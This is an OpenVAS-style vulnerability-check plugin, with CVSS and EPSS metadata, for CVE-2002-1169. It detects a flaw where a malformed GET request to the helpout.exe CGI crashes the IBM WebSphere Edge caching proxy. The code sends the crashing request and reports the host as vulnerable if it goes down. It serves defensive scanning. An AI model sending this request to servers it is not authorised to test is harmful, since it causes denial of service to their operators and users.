CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
Low
EPSS
Percentile
90.9%
We could crash the WebSphere Edge caching proxy by sending a
bad request to the helpout.exe CGI
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11162");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/6002");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2002-1169");
script_name("IBM WebSphere Edge Server Caching Proxy DoS Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2002 Michel Arboi");
script_family("Denial of Service");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution", value:"Upgrade your web server or remove this CGI.");
script_tag(name:"summary", value:"We could crash the WebSphere Edge caching proxy by sending a
bad request to the helpout.exe CGI");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("port_service_func.inc");
include("list_array_func.inc");
port = http_get_port( default:80 );
if( http_is_dead( port:port ) ) exit( 0 );
foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
url = dir + "/helpout.exe";
req = string( "GET ", url, " HTTP\r\n\r\n" );
res = http_send_recv( port:port, data:req );
if( http_is_dead( port:port ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );